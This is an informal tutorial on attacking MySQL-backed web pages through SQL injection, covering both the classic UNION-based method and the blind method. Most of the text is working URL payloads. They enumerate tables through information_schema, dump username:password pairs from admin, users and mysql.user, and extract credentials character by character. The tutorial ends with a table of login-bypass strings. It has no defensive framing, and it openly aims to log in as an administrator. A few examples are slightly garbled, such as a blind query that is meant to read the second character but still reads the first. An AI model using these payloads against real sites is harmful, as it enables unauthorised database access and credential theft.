What is SQL injection?

It's one of the most common vulnerability in web applications today.

It allows attacker to execute database query in url and gain access

to some confidential information .

1.SQL Injection (classic or error based or whatever you call it)

2.Blind SQL Injection (the harder part)

1). Check for vulnerability

Let's say that we have some site like this

http://server/news.php?id=5

Now to test if is vulrnable we add to the end of url ' (quote),

and that would be http://server/news.php?id=5'

so if we get some error like

"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."

or something similar

that means is vulrnable to sql injection :)

2). Find the number of columns

To find number of columns we use statement ORDER BY (tells database how to order the result)

so how to use it? Well just incrementing the number until we get an error.

http://server/news.php?id=5 order by 1/* <-- no error

http://server/news.php?id=5 order by 2/* <-- no error

http://server/news.php?id=5 order by 3/* <-- no error

http://server/news.php?id=5 order by 4/* <-- error (we get message like this Unknown column '4' in 'order clause' or something like that)

that means that the it has 3 columns, cause we got an error on 4.

3). Check for UNION function

With union we can select more data in one sql statement.

so we have

http://server/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2).)

if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works :)

4). Check for MySQL version

http://server/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try --

it's a comment and it's important for our query to work properly.

let say that we have number 2 on the screen, now to check for version

we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.

it should look like this http://server/news.php?id=5 union all select 1,@@version,3/*

if you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."

i didn't see any paper covering this problem, so i must write it :)

what we need is convert() function

i.e.

http://server/news.php?id=5 union all select 1,convert(@@version using latin1),3/*

or with hex() and unhex()

i.e.

http://server/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*

and you will get MySQL version :D

5). Getting table and column name

well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12...) <--- later i will describe for MySQL > 5 version.

we must guess table and column name in most cases.

common table names are: user/s, admin/s, member/s ...

common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc...

i.e would be

http://server/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that's good :D)

we know that table admin exists...

now to check column names.

http://server/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name)

we get username displayed on screen, example would be admin, or superadmin etc...

now to check if column password exists

http://server/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name)

we seen password on the screen in hash or plain-text, it depends of how the database is set up :)

i.e md5 hash, mysql hash, sha1...

now we must complete query to look nice :)

for that we can use concat() function (it joins strings)

i.e

http://server/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*

Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon)

(there is another way for that, char(58), ascii value for :)

http://server/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*

now we get dislayed username:password on screen, i.e admin:admin or admin:somehash

when you have this, you can login like admin or some superuser :D

if can't guess the right table name, you can always try mysql.user (default)

it has user i password columns, so example would be

http://server/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*

6). MySQL 5

Like i said before i'm gonna explain how to get table and column names

in MySQL > 5.

For this we need information_schema. It holds all tables and columns in database.

to get tables we use table_name and information_schema.tables.

i.e

http://server/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*

here we replace the our number 2 with table_name to get the first table from information_schema.tables

displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.

i.e

http://server/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*

note that i put 0,1 (get 1 result starting from the 0th)

now to view the second table, we change limit 0,1 to limit 1,1

i.e

http://server/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*

the second table is displayed.

for third table we put limit 2,1

i.e

http://server/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*

keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc... :D

To get the column names the method is the same.

here we use column_name and information_schema.columns

the method is same as above so example would be

http://server/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*

the first column is diplayed.

the second one (we change limit 0,1 to limit 1,1)

ie.

http://server/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*

the second column is displayed, so keep incrementing until you get something like

username,user,login, password, pass, passwd etc... :D

if you wanna display column names for specific table use this query. (where clause)

let's say that we found table users.

i.e

http://server/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/*

now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.

Note that this won't work if the magic quotes is ON.

let's say that we found colums user, pass and email.

now to complete query to put them all together :D

for that we use concat() , i decribe it earlier.

i.e

http://server/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*

what we get here is user:pass:email from table users.

example: admin:hash:whatever@blabla.com

That's all in this part, now we can proceed on harder part :)

2. Blind SQL Injection

Blind injection is a little more complicated the classic injection but it can be done :D

I must mention, there is very good blind sql injection tutorial by xprog, so it's not bad to read it :D

Let's start with advanced stuff.

I will be using our example

http://server/news.php?id=5

when we execute this, we see some page and articles on that page, pictures etc...

then when we want to test it for blind sql injection attack

http://server/news.php?id=5 and 1=1 <--- this is always true

and the page loads normally, that's ok.

now the real test

http://server/news.php?id=5 and 1=2 <--- this is false

so if some text, picture or some content is missing on returned page then that site is vulrnable to blind sql injection.

1) Get the MySQL version

to get the version in blind attack we use substring

i.e

http://server/news.php?id=5 and substring(@@version,1,1)=4

this should return TRUE if the version of MySQL is 4.

replace 4 with 5, and if query return TRUE then the version is 5.

i.e

http://server/news.php?id=5 and substring(@@version,1,1)=5

2) Test if subselect works

when select don't work then we use subselect

i.e

http://server/news.php?id=5 and (select 1)=1

if page loads normally then subselects work.

then we gonna see if we have access to mysql.user

i.e

http://server/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1

if page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE.

3). Check table and column names

This is part when guessing is the best friend :)

i.e.

http://server/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)

then if the page loads normally without content missing, the table users exits.

if you get FALSE (some article missing), just change table name until you guess the right one :)

let's say that we have found that table name is users, now what we need is column name.

the same as table name, we start guessing. Like i said before try the common names for columns.

i.e

http://server/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1

if the page loads normally we know that column name is password (if we get false then try common names or just guess)

here we merge 1 with the column password, then substring returns the first character (,1,1)

4). Pull data from database

we found table users i columns username password so we gonna pull characters from that.

http://server/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80

ok this here pulls the first character from first user in table users.

substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value

and then compare it with simbol greater then > .

so if the ascii char greater then 80, the page loads normally. (TRUE)

we keep trying until we get false.

http://server/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95

we get TRUE, keep incrementing

http://server/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98

TRUE again, higher

http://server/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

FALSE!!!

so the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'.

then let's check the second character.

http://server/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99

Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght)

http://server/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

TRUE, the page loads normally, higher.

http://server/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107

FALSE, lower number.

http://server/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104

TRUE, higher.

http://server/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105

FALSE!!!

we know that the second character is char(105) and that is 'i'. We have 'ci' so far

so keep incrementing until you get the end. (when >0 returns false we know that we have reach the end).

The string listed in the below table can be used to confirm SQL Injection:

or 1=1	**‘or 1=1**	**“or 1=1**	**or 1=1–**	**‘or 1=1–**	**“or 1=1–**
or 1=1#	**‘or 1=1#**	**“or**	**1=1#**	**or 1=1/***	**‘or 1=1/***
“or 1=1/*	**or 1=1;%00**	**‘or 1=1;%00**	**“or 1=1;%00**	**‘or’**	**‘or**
‘or’–	**‘or–**	**or a=a**	**‘or a=a**	**“or a=a**	**or a=a–**
‘or a=a —	**“or a=a–**	**or ‘a’=’a’**	**‘or ‘a’=’a’**	**“or ‘a’=’a’,**	**‘)or(‘a’=’a’**
“)”a”=”a”	**‘)’a’=’a**	**‘or”=’**			